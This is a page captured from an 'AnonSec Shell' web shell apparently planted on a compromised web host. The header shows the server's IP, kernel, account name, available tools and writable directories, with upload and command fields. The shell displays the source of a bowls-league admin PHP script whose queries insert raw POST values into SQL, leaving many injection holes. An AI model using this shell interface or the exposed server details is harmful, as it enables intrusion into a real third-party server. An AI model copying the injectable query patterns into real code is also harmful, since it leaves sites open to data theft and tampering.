AnonSec Shell
Server IP : 149.202.105.228  /  Your IP : 216.73.216.134
Web Server : Apache
System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : atfycaf ( 116275)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/a/t/f/atfycaf/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/a/t/f/atfycaf/www/admin/leagueEdit-2-Data.php
<?php
include "globalVars.php";

if (isset($_POST["fID"])) {
	$teamNameID		= $_POST["fID"];
	$thisTeamName	= $_POST["tTN"];

	$homeAway		= substr($teamNameID, 0, 4);
	$fixtureID		= substr($teamNameID, 4);

	mysqli_query($conn, "UPDATE leagueResults SET ". $homeAway ."Team = '". addslashes($thisTeamName) ."' WHERE id = '$fixtureID'");

} elseif (isset($_POST["rS"])) {
	$rinkScoreID	= $_POST["rS"];
	$thisScore		= $_POST["tS"];

	$homeAway		= substr($rinkScoreID, 0, 4);
	$fixtureID		= substr($rinkScoreID, 4);

	$mlIDQuery = mysqli_query($conn, "SELECT miniLeagueID FROM leagueResults WHERE id = '$fixtureID'");
	while ($mIQ = mysqli_fetch_array($mlIDQuery)) {
		$miniLeagueID	= $mIQ["miniLeagueID"];
	}
	$leagueIDQuery = mysqli_query($conn, "SELECT leagueID FROM leagueMiniLeagues WHERE id = '$miniLeagueID'");
	while ($lIQ = mysqli_fetch_array($leagueIDQuery)) {
		$leagueID	= $lIQ["leagueID"];
	}
	$maxRinkPtsQuery = mysqli_query($conn, "SELECT pointsRink FROM leagueConfig WHERE id = '$leagueID'");
	while ($mRQ = mysqli_fetch_array($maxRinkPtsQuery)) {
		$maxScore	= $mRQ["pointsRink"];
	}
	if ($thisScore > $maxScore) {
		$thisScore	= $maxScore;
	}

	if ($homeAway == "home") {
		$otherHomeAway	= "away";
		$otherInput		= "away". $fixtureID;
	} else {
		$otherHomeAway	= "home";
		$otherInput		= "home". $fixtureID;
	}
	$otherScore		= $maxScore - $thisScore;

	mysqli_query($conn, "UPDATE leagueResults SET ". $homeAway ."RinkPts = '$thisScore', ". $otherHomeAway ."RinkPts = '$otherScore' WHERE id = '$fixtureID'");

	$leagueQuery = mysqli_query($conn, "SELECT * FROM leagueConfig WHERE id = '$leagueID'");
	while ($lQ = mysqli_fetch_array($leagueQuery)) {
		$leagueType			= $lQ["leagueType"];
		$lFullSDate			= $lQ["startDate"];
		$lStartMonth		= date("F", strtotime($lFullSDate));
		$lStartYear			= date("Y", strtotime($lFullSDate));
		$leagueStartDate	= "$lStartMonth $lStartYear";
	}
	$leagueIDQuery = mysqli_query($conn, "SELECT groupTitle FROM leagueGroups WHERE id = '$leagueType'");
	while ($lIQ = mysqli_fetch_array($leagueIDQuery)) {
		$groupTitle		= $lIQ["groupTitle"];
	}
	$fixtureTeamsQuery = mysqli_query($conn, "SELECT homeTeam, awayTeam FROM leagueResults WHERE id = '$fixtureID'");
	while ($fTQ = mysqli_fetch_array($fixtureTeamsQuery)) {
		$homeTeam	= $fTQ["homeTeam"];
		$awayTeam	= $fTQ["awayTeam"];
	}

	$trackDate		= date("Y-m-d H:i:s");
	$trackTitle		= "$groupTitle $leagueStartDate";
	mysqli_query($conn, "INSERT INTO userActions (dateCreated, adminID, pageTracking, databaseUpdated, updateDetails) VALUES ('$trackDate', '$adminID', 'admin/leagueEdit-2-Data.php', 'leagueResults', 'The User ". addslashes($adminName) ." &lt;$adminEmail&gt; updated the Rink Points for fixture ID: $fixtureID (". $homeTeam ." vs ". $awayTeam .") in league ID: $leagueID (". addslashes($trackTitle) .")')");

	$jsonArray	= array("thisRScore" => $thisScore, "otherInput" => $otherInput, "otherRScore" => $otherScore);

	echo json_encode($jsonArray);

} elseif (isset($_POST["sS"])) {

	$shotScoreID	= $_POST["sS"];
	$thisScore		= $_POST["tS"];

	$homeAway		= substr($shotScoreID, 0, 4);
	$fixtureID		= substr($shotScoreID, 4);

	mysqli_query($conn, "UPDATE leagueResults SET ". $homeAway ."Score = '$thisScore' WHERE id = '$fixtureID'");

	$mlIDQuery = mysqli_query($conn, "SELECT miniLeagueID FROM leagueResults WHERE id = '$fixtureID'");
	while ($mIQ = mysqli_fetch_array($mlIDQuery)) {
		$miniLeagueID	= $mIQ["miniLeagueID"];
	}
	$leagueIDQuery = mysqli_query($conn, "SELECT leagueID FROM leagueMiniLeagues WHERE id = '$miniLeagueID'");
	while ($lIQ = mysqli_fetch_array($leagueIDQuery)) {
		$leagueID	= $lIQ["leagueID"];
	}
	$leagueQuery = mysqli_query($conn, "SELECT * FROM leagueConfig WHERE id = '$leagueID'");
	while ($lQ = mysqli_fetch_array($leagueQuery)) {
		$leagueType			= $lQ["leagueType"];
		$lFullSDate			= $lQ["startDate"];
		$lStartMonth		= date("F", strtotime($lFullSDate));
		$lStartYear			= date("Y", strtotime($lFullSDate));
		$leagueStartDate	= "$lStartMonth $lStartYear";
	}
	$leagueIDQuery = mysqli_query($conn, "SELECT groupTitle FROM leagueGroups WHERE id = '$leagueType'");
	while ($lIQ = mysqli_fetch_array($leagueIDQuery)) {
		$groupTitle		= $lIQ["groupTitle"];
	}
	$fixtureTeamsQuery = mysqli_query($conn, "SELECT homeTeam, awayTeam FROM leagueResults WHERE id = '$fixtureID'");
	while ($fTQ = mysqli_fetch_array($fixtureTeamsQuery)) {
		$homeTeam	= $fTQ["homeTeam"];
		$awayTeam	= $fTQ["awayTeam"];
	}

	$trackDate		= date("Y-m-d H:i:s");
	$trackTitle		= "$groupTitle $leagueStartDate";
	mysqli_query($conn, "INSERT INTO userActions (dateCreated, adminID, pageTracking, databaseUpdated, updateDetails) VALUES ('$trackDate', '$adminID', 'admin/leagueEdit-2-Data.php', 'leagueResults', 'The User ". addslashes($adminName) ." &lt;$adminEmail&gt; updated the score for fixture ID: $fixtureID (". $homeTeam ." vs ". $awayTeam .") in league ID: $leagueID (". addslashes($trackTitle) .")')");

	/////	CHECK TO SEE IF A PLAYOFF IS REQUIRED AND IF ALL FIXTURES HAVE BEEN PLAYED	\\\\\
	$mlIDQuery = mysqli_query($conn, "SELECT miniLeagueID FROM leagueResults WHERE id = '$fixtureID'");
	while ($mIQ = mysqli_fetch_array($mlIDQuery)) {
		$miniLeagueID	= $mIQ["miniLeagueID"];
	}
	$leagueIDQuery = mysqli_query($conn, "SELECT leagueID FROM leagueMiniLeagues WHERE id = '$miniLeagueID'");
	while ($lIQ = mysqli_fetch_array($leagueIDQuery)) {
		$leagueID	= $lIQ["leagueID"];
	}
	$hasPlayoffQuery = mysqli_query($conn, "SELECT hasPlayoff FROM leagueConfig WHERE id = '$leagueID'");
	while ($hPQ = mysqli_fetch_array($hasPlayoffQuery)) {
		$hasPlayoff	= $hPQ["hasPlayoff"];
	}
	if ($hasPlayoff > 0) {
		/////	PLAYOFF IS NEEDED - CHECK IF SEASON FINISHED	\\\\\
		$seasonFinished		= true;
		$miniLeaguesQuery = mysqli_query($conn, "SELECT * FROM leagueMiniLeagues WHERE leagueID = '$leagueID' ORDER BY id ASC");
		while ($mLQ = mysqli_fetch_array($miniLeaguesQuery)) {
			$miniLeagueID		= $mLQ["id"];
			$matchesToPlayQuery = mysqli_query($conn, "SELECT id from leagueResults WHERE miniLeagueID = '$miniLeagueID' AND ((homeTeam != '') AND (awayTeam != '')) AND ((homeScore = '-1') OR (awayScore = '-1'))");
			$matchesToPlay	= mysqli_num_rows($matchesToPlayQuery);
			if ($matchesToPlay > 0) {
				$seasonFinished	= false;
			}
		}
		if ($seasonFinished == true) {
			/////	SEASON HAS BEEN COMPLETED - GET THE FINALISTS	\\\\\
			$leagueConfigQuery = mysqli_query($conn, "SELECT * FROM leagueConfig WHERE id = '$leagueID'");
			while ($lCQ = mysqli_fetch_array($leagueConfigQuery)) {
				$hasMiniLeagues	= $lCQ["hasMiniLeagues"];
				$noTeams		= $lCQ["noTeams"];
				$hasPlayoff		= $lCQ["hasPlayoff"];
				$pointsWin		= $lCQ["pointsWin"];
				$pointsDraw		= $lCQ["pointsDraw"];
				$pointsRink		= $lCQ["pointsRink"];
			}
			if ($hasPlayoff == 1) {
				/////	TOP TEAM FROM EACH GROUP PLAY HOME AND AWAY	\\\\\
				$advancingTeams	= $hasMiniLeagues;
				$homeAndAway	= true;
			
			} elseif ($hasPlayoff == 2) {
				/////	TOP TEAM FROM EACH GROUP PLAY A ONE-OFF FINAL	\\\\\
				$advancingTeams	= $hasMiniLeagues;
				$homeAndAway	= false;
			
			} elseif ($hasPlayoff == 3) {
				/////	TOP 2 TEAMS FROM EACH GROUP PLAY A KNOCKOUT HOME AND AWAY	\\\\\
				$advancingTeams	= $hasMiniLeagues * 2;
				$homeAndAway	= true;
			
			} elseif ($hasPlayoff == 4) {
				/////	TOP 2 TEAMS FROM EACH GROUP PLAY A KNOCKOUT	\\\\\
				$advancingTeams	= $hasMiniLeagues * 2;
				$homeAndAway	= false;
			
			}

			$leagueStandings	= array();
			$miniLeaguesArray	= array();
			$i					= 0;
			$miniLeagueQuery = mysqli_query($conn, "SELECT * FROM leagueMiniLeagues WHERE leagueID = '$leagueID' ORDER BY id ASC");
			while ($mLQ = mysqli_fetch_array($miniLeagueQuery)) {
				$mLID				= $mLQ["id"];
				$miniLeaguesArray[]	= $mLID;
				if ($i == 0) {
					$playoffMLid	= $mLID;
				}

				$leagueStandings[]	= array();

				$leagueStandingQuery = mysqli_query($conn, "SELECT 
					team, 
					COUNT(*) AS played, 
					COUNT(CASE WHEN homeScore > awayScore THEN 1 END) AS won, 
					COUNT(CASE WHEN homeScore = awayScore THEN 1 END) AS drawn, 
					COUNT(CASE WHEN awayScore> homeScore THEN 1 END) AS lost, 
					SUM(homeScore) AS shotsFor, 
					SUM(awayScore) AS shotsAgainst, 
					SUM(homeScore) - SUM(awayScore) AS shotsDiff,
					SUM(homeRinkPts) AS rinkPts,
					SUM(
						  CASE WHEN homeScore > awayScore THEN $pointsWin ELSE 0 END 
						+ CASE WHEN homeScore = awayScore THEN $pointsDraw ELSE 0 END
						+ homeRinkPts
					) AS pts 
				FROM (
					SELECT homeTeam AS team, homeScore, awayScore, homeRinkPts, awayRinkPts from leagueResults WHERE miniLeagueID = '$mLID' AND ((homeTeam != '') AND (awayTeam != '')) AND ((homeScore > 0) AND (awayScore > 0)) AND (weekID < 900)
				  UNION ALL
					SELECT awayTeam AS team, awayScore, homeScore, awayRinkPts, homeRinkPts from leagueResults WHERE miniLeagueID = '$mLID' AND ((homeTeam != '') AND (awayTeam != '')) AND ((homeScore > 0) AND (awayScore > 0)) AND (weekID < 900)
				) AS a 
				GROUP BY team
				ORDER BY pts DESC, shotsDiff DESC") or die (mysqli_error($conn));
				if (mysqli_num_rows($leagueStandingQuery) > 0) {
					$addedTeams	= array();
					while ($lSQ = mysqli_fetch_array($leagueStandingQuery)) {
						$leagueStandings[$i][]	= $lSQ["team"];
						$addedTeams[]			= $lSQ["team"];
					}
				}
				$defaultLeagueQuery = mysqli_query($conn, "SELECT * FROM leagueMiniLeaguesTeams WHERE miniLeagueID = '$mLID' AND (teamName NOT IN ('". implode("', '", $addedTeams) ."')) ORDER BY teamName ASC");
				while ($dLQ = mysqli_fetch_array($defaultLeagueQuery)) {
					$leagueStandings[$i][]	= $dLQ["teamName"];
				}
				$i++;
			}
			/////	1 LEGGED MATCHES ROUNDS ARE 9990+	\\\\\
			/////	2 LEGGED MATCHES ROUNDS ARE 99990+	\\\\\

			/////	DELETE ANY EXISTING FIXTURES TO ALLOW MISTAKES	\\\\\
			mysqli_query($conn, "DELETE FROM leagueResults  WHERE miniLeagueID IN ('". implode("', '", $miniLeaguesArray) ."') AND weekID > '1000'");

			$lastFixtureQuery = mysqli_query($conn, "SELECT fixtureDate FROM leagueResults WHERE miniLeagueID IN ('". implode("', '", $miniLeaguesArray) ."') ORDER BY fixtureDate DESC LIMIT 0,1");
			while ($lFQ = mysqli_fetch_array($lastFixtureQuery)) {
				$lastFixture	= $lFQ["fixtureDate"];
			}
			if ($hasMiniLeagues == 1) {
				$homeTeam	= $leagueStandings[0][1];
				$awayTeam	= $leagueStandings[0][0];
				if ($hasPlayoff == 3) {
					/////	2 LEG FINAL	\\\\\
					$fixtureDate	= date("Y-m-d", strtotime("$lastFixture +7 days"));
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, fixtureDate, homeTeam, homeScore, awayTeam, awayScore) VALUES ('$playoffMLid', '9999', '$fixtureDate', '". addslashes($homeTeam) ."', '-1', '". addslashes($awayTeam) ."', '-1')");
					$firstLegID	= mysqli_insert_id($conn);

					$returnFixtureDate	= date("Y-m-d", strtotime("$fixtureDate +7 days"));
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, firstLegID, fixtureDate, homeTeam, homeScore, awayTeam, awayScore) VALUES ('$playoffMLid', '9999', '$firstLegID', '$returnFixtureDate', '". addslashes($awayTeam) ."', '-1', '". addslashes($homeTeam) ."', '-1')");

				} elseif ($hasPlayoff == 4) {
					/////	FINAL	\\\\\
					$fixtureDate	= date("Y-m-d", strtotime("$lastFixture +7 days"));
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, fixtureDate, homeTeam, homeScore, awayTeam, awayScore) VALUES ('$playoffMLid', '9999', '$fixtureDate', '". addslashes($awayTeam) ."', '-1', '". addslashes($homeTeam) ."', '-1')");
				}

			} elseif ($hasMiniLeagues == 2) {
				/////	SIMPLE. TOP TEAM ONLY PROGRESSES OR TOP TEAM PLAYS 2ND FROM OTHER GROUP	\\\\\
				if ($hasPlayoff == 1 || $hasPlayoff == 2) {
					$homeTeam	= $leagueStandings[0][0];
					$awayTeam	= $leagueStandings[1][0];
				}

				if ($hasPlayoff == 1) {
					/////	2 LEG FINAL	\\\\\
					$fixtureDate	= date("Y-m-d", strtotime("$lastFixture +7 days"));
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, fixtureDate, homeTeam, homeScore, awayTeam, awayScore) VALUES ('$playoffMLid', '9999', '$fixtureDate', '". addslashes($homeTeam) ."', '-1', '". addslashes($awayTeam) ."', '-1')");
					$firstLegID	= mysqli_insert_id($conn);

					$returnFixtureDate	= date("Y-m-d", strtotime("$fixtureDate +7 days"));
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, firstLegID, fixtureDate, homeTeam, homeScore, awayTeam, awayScore) VALUES ('$playoffMLid', '9999', '$firstLegID', '$returnFixtureDate', '". addslashes($awayTeam) ."', '-1', '". addslashes($homeTeam) ."', '-1')");

				} elseif ($hasPlayoff == 2) {
					/////	FINAL	\\\\\
					$fixtureDate	= date("Y-m-d", strtotime("$lastFixture +7 days"));
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, fixtureDate, homeTeam, homeScore, awayTeam, awayScore) VALUES ('$playoffMLid', '9999', '$fixtureDate', '". addslashes($homeTeam) ."', '-1', '". addslashes($awayTeam) ."', '-1')");

				} elseif ($hasPlayoff == 3) {
					/////	2 LEG SEMI-FINAL THEN FINAL	\\\\\
					$home1Team	= $leagueStandings[1][1];
					$away1Team	= $leagueStandings[0][0];
					$home2Team	= $leagueStandings[0][1];
					$away2Team	= $leagueStandings[1][0];

					$fixtureDate	= date("Y-m-d", strtotime("$lastFixture +7 days"));
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, fixtureDate, homeTeam, homeScore, awayTeam, awayScore) VALUES ('$playoffMLid', '9998', '$fixtureDate', '". addslashes($home1Team) ."', '-1', '". addslashes($away1Team) ."', '-1')");
					$firstLeg1ID	= mysqli_insert_id($conn);
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, fixtureDate, homeTeam, homeScore, awayTeam, awayScore) VALUES ('$playoffMLid', '9998', '$fixtureDate', '". addslashes($home2Team) ."', '-1', '". addslashes($away2Team) ."', '-1')");
					$firstLeg2ID	= mysqli_insert_id($conn);

					$returnFixtureDate	= date("Y-m-d", strtotime("$fixtureDate +7 days"));
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, firstLegID, fixtureDate, homeTeam, homeScore, awayTeam, awayScore) VALUES ('$playoffMLid', '9998', '$firstLeg1ID', '$returnFixtureDate', '". addslashes($away1Team) ."', '-1', '". addslashes($home1Team) ."', '-1')");
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, firstLegID, fixtureDate, homeTeam, homeScore, awayTeam, awayScore) VALUES ('$playoffMLid', '9998', '$firstLeg2ID', '$returnFixtureDate', '". addslashes($away2Team) ."', '-1', '". addslashes($home2Team) ."', '-1')");

					$finalFixtureDate	= date("Y-m-d", strtotime("$returnFixtureDate +7 days"));
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, fixtureDate, homeScore, awayScore) VALUES ('$playoffMLid', '9999', '$finalFixtureDate', '-1', '-1')");
					$firstLegFID	= mysqli_insert_id($conn);

					$finalReturnFixtureDate	= date("Y-m-d", strtotime("$finalFixtureDate +7 days"));
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, firstLegID, fixtureDate, homeScore, awayScore) VALUES ('$playoffMLid', '9999', '$firstLegFID', '$finalReturnFixtureDate', '-1', '-1')");

				} elseif ($hasPlayoff == 4) {
					/////	SEMI-FINAL THEN FINAL	\\\\\
					$home1Team	= $leagueStandings[0][0];
					$away1Team	= $leagueStandings[1][1];
					$home2Team	= $leagueStandings[1][0];
					$away2Team	= $leagueStandings[0][1];

					$fixtureDate	= date("Y-m-d", strtotime("$lastFixture +7 days"));
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, fixtureDate, homeTeam, homeScore, awayTeam, awayScore) VALUES ('$playoffMLid', '9998', '$fixtureDate', '". addslashes($home1Team) ."', '-1', '". addslashes($away1Team) ."', '-1')");
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, fixtureDate, homeTeam, homeScore, awayTeam, awayScore) VALUES ('$playoffMLid', '9998', '$fixtureDate', '". addslashes($home2Team) ."', '-1', '". addslashes($away2Team) ."', '-1')");

					$finalFixtureDate	= date("Y-m-d", strtotime("$fixtureDate +7 days"));
					mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, fixtureDate, homeScore, awayScore) VALUES ('$playoffMLid', '9999', '$finalFixtureDate', '-1', '-1')");

				}

			} else {
				/////	MORE COMPLICATED - NEEDS A DRAW	\\\\\
				/////	INSERT THE MATCHES NEEDED INTO THE DATABASE AND LEAVE TEAMS EMPTY FOR DRAWING	\\\\\
				$noRounds	= getNoRounds($advancingTeams);
				$roundID	= 100000 - $noRounds;

				mysqli_query($conn, "DELETE FROM leagueKnockout WHERE leagueID = '$playoffMLid'");

				foreach($leagueStandings as $groupID => $groupStandings) {
					$firstPlace		= $groupStandings[0];
					mysqli_query($conn, "INSERT INTO leagueKnockout (leagueID, weekID, teamName) VALUES ('$playoffMLid', '$roundID', '". addslashes($firstPlace) ."')");
					if ($hasPlayoff == 3 || $hasPlayoff == 4) {
						$secondPlace	= $groupStandings[1];
						mysqli_query($conn, "INSERT INTO leagueKnockout (leagueID, weekID, teamName) VALUES ('$playoffMLid', '$roundID', '". addslashes($secondPlace) ."')");
					}
				}

				$matchesArray	= array();
				$noMatches		= 1;
				for ($w = 1; $w <= $noRounds; $w++) {
					if ($w == 1) {
						$noMatches	= $noMatches;
					} else {
						$noMatches	= $noMatches * 2;
					}
					$matchesArray[]	= $noMatches;
				}
				$matchesArrayR	= array_reverse($matchesArray);
				for ($w = 1; $w <= $noRounds; $w++) {
					$nM			= $w - 1;
					$noMatches	= $matchesArrayR[$nM];
					for ($m = 1; $m <= $noMatches; $m++) {
						if ($homeAndAway == true) {

							$fixtureDate	= date("Y-m-d", strtotime("$lastFixture +7 days"));
							mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, toDraw, fixtureDate, homeScore, awayScore) VALUES ('$playoffMLid', '$roundID', '1', '$fixtureDate', '-1', '-1')");
							$firstLegID	= mysqli_insert_id($conn);

							$returnFixtureDate	= date("Y-m-d", strtotime("$fixtureDate +7 days"));
							mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, toDraw, firstLegID, fixtureDate, homeScore, awayScore) VALUES ('$playoffMLid', '$roundID', '1', '$firstLegID', '$fixtureDate', '-1', '-1')");
						
						} else {

							$fixtureDate	= date("Y-m-d", strtotime("$lastFixture +7 days"));
							mysqli_query($conn, "INSERT INTO leagueResults (miniLeagueID, weekID, toDraw, fixtureDate, homeScore, awayScore) VALUES ('$playoffMLid', '$roundID', '1', '$fixtureDate', '-1', '-1')");
						
						}
					}
					$lastFixture	= $fixtureDate;
					$roundID++;
				}
			}
		}
	}

} elseif (isset($_POST["dC"])) {
	$datePost	= str_replace("fixtureDate", "", $_POST["dC"]);
	list($leagueID, $weekID)	= explode("_", $datePost);
	$newDate	= $_POST["tD"];
	list($matchDay, $matchMonth, $matchYear)	= explode("/", $newDate);
	$newDate	= $matchYear ."-". $matchMonth ."-". $matchDay;

	$miniLeagueQuery = mysqli_query($conn, "SELECT * FROM leagueMiniLeagues WHERE leagueID = '$leagueID' ORDER BY id ASC");
	while ($mLQ = mysqli_fetch_array($miniLeagueQuery)) {
		$miniLeagueID		= $mLQ["id"];

		mysqli_query($conn, "UPDATE leagueResults SET fixtureDate = '$newDate' WHERE miniLeagueID = '$miniLeagueID' AND (weekID = '$weekID')");

		$trackDate		= date("Y-m-d H:i:s");
		$trackTitle		= "$groupTitle $leagueStartDate";
		mysqli_query($conn, "INSERT INTO userActions (dateCreated, adminID, pageTracking, databaseUpdated, updateDetails) VALUES ('$trackDate', '$adminID', 'admin/leagueEdit-2-Data.php', 'leagueResults', 'The User ". addslashes($adminName) ." &lt;$adminEmail&gt; updated the date for fixtures in week $weekID (". $homeTeam ." vs ". $awayTeam .")')");
	}

} elseif (isset($_POST["tV"])) {
	$matchID	= $_POST["mID"];
	$newVenue	= $_POST["tV"];

	mysqli_query($conn, "UPDATE leagueResults SET fixtureVenue = '$newVenue' WHERE id = '$matchID'");

} elseif (isset($_POST["mID"])) {
	$matchID	= $_POST["mID"];
	$newDate	= $_POST["tD"];
	list($matchDay, $matchMonth, $matchYear)	= explode("/", $newDate);
	$newDate	= $matchYear ."-". $matchMonth ."-". $matchDay;

	mysqli_query($conn, "UPDATE leagueResults SET fixtureDate = '$newDate' WHERE id = '$matchID'");
}
?>

Anon7 - 2022
AnonSec Team